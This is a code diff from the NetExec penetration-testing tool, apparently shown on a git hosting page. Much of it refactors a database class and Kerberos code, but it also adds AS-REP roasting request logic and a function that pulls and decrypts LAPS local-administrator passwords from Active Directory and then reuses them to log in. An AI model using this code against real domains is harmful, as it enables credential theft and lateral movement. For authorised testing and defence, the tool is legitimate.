|
||||
minutes, seconds = divmod(int(end_time - start_time), 60)
|
||||
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
|
||||
@@ -1,30 +1,20 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
from nxc.database import BaseDB
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -54,21 +44,8 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
@@ -1,18 +1,18 @@
|
||||
import random
|
||||
from binascii import hexlify, unhexlify
|
||||
from datetime import datetime, timedelta
|
||||
import traceback
|
||||
try:
|
||||
# This is only available in python >= 3.11
|
||||
# if we are in a lower version, we will use the deprecated utcnow() method
|
||||
from datetime import UTC
|
||||
utc_failed = False
|
||||
except ImportError:
|
||||
utc_failed = True
|
||||
from os import getenv
|
||||
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import (
|
||||
TGS_REP,
|
||||
AS_REQ,
|
||||
KERB_PA_PAC_REQUEST,
|
||||
KRB_ERROR,
|
||||
AS_REP,
|
||||
seq_set,
|
||||
seq_set_iter,
|
||||
)
|
||||
from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
|
||||
from impacket.krb5.types import KerberosTime, Principal
|
||||
@@ -211,7 +211,8 @@ class KerberosAttacks:
|
||||
return None
|
||||
|
||||
req_body["realm"] = domain
|
||||
now = datetime.utcnow() + timedelta(days=1)
|
||||
# When we drop python 3.10 support utcnow() can be removed, as it is deprecated
|
||||
now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
|
||||
req_body["till"] = KerberosTime.to_asn1(now)
|
||||
req_body["rtime"] = KerberosTime.to_asn1(now)
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
@@ -235,10 +236,11 @@ class KerberosAttacks:
|
||||
message = encoder.encode(as_req)
|
||||
r = sendReceive(message, domain, self.kdcHost)
|
||||
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
|
||||
return "Password of user " + userName + " expired but user doesn't require pre-auth"
|
||||
return f"Password of user {userName} expired but user doesn't require pre-auth"
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
nxc_logger.fail(e)
|
||||
nxc_logger.debug(traceback.format_exc())
|
||||
return None
|
||||
|
||||
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
|
||||
# 'Do not require Kerberos preauthentication' set
|
||||
|
||||
+118
-16
@@ -1,3 +1,4 @@
|
||||
from json import loads
|
||||
from pyasn1.codec.der import decoder
|
||||
from pyasn1_modules import rfc5652
|
||||
|
||||
@@ -34,12 +35,13 @@ class LDAPConnect:
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
if kdcHost is None:
|
||||
kdcHost = domain
|
||||
if kdcHost is None or domain not in kdcHost:
|
||||
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
|
||||
exit(1)
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
@@ -51,12 +53,13 @@ class LDAPConnect:
|
||||
baseDN = ""
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
baseDN += f"DC={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
|
||||
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
@@ -75,7 +78,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.login(
|
||||
username,
|
||||
password,
|
||||
@@ -102,18 +105,14 @@ class LDAPConnect:
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError:
|
||||
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
|
||||
return False
|
||||
|
||||
def auth_login(self, domain, username, password, ntlm_hash):
|
||||
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
@@ -132,7 +131,7 @@ class LDAPConnect:
|
||||
base_dn = base_dn[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
@@ -145,7 +144,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
@@ -170,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -184,6 +183,7 @@ class LAPSv2Extract:
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -215,7 +215,7 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
@@ -258,3 +258,105 @@ class LAPSv2Extract:
|
||||
plaintext = decrypt_plaintext(cek, iv, remaining)
|
||||
self.logger.info(plaintext[:-18].decode("utf-16le"))
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
prev_protocol = self.logger.extra["protocol"]
|
||||
prev_port = self.logger.extra["port"]
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
|
||||
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
||||
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return None, None, None
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain[0],
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
dns_server=dns_server
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
domain[0],
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
dns_server
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
|
||||
return None, None, None
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
"ms-MCS-AdmPwd",
|
||||
"sAMAccountName",
|
||||
]
|
||||
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
msMCSAdmPwd = ""
|
||||
sAMAccountName = ""
|
||||
username_laps = ""
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
|
||||
if len(results) != 0:
|
||||
for host in results:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(
|
||||
bytes(msMCSAdmPwd),
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
domain[0],
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339,
|
||||
dns_server
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "mslaps-password" in values:
|
||||
r = loads(str(values["mslaps-password"]))
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
elif "ms-mcs-admpwd" in values:
|
||||
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
|
||||
else:
|
||||
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None
|
||||
|
||||
username = username_laps if username_laps else self.args.laps
|
||||
password = msMCSAdmPwd
|
||||
domain = self.hostname
|
||||
self.args.local_auth = True
|
||||
self.kerberos = False
|
||||
self.logger.extra["protocol"] = prev_protocol
|
||||
self.logger.extra["port"] = prev_port
|
||||
return username, password, domain
|
||||
Loaded 100 of 150 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user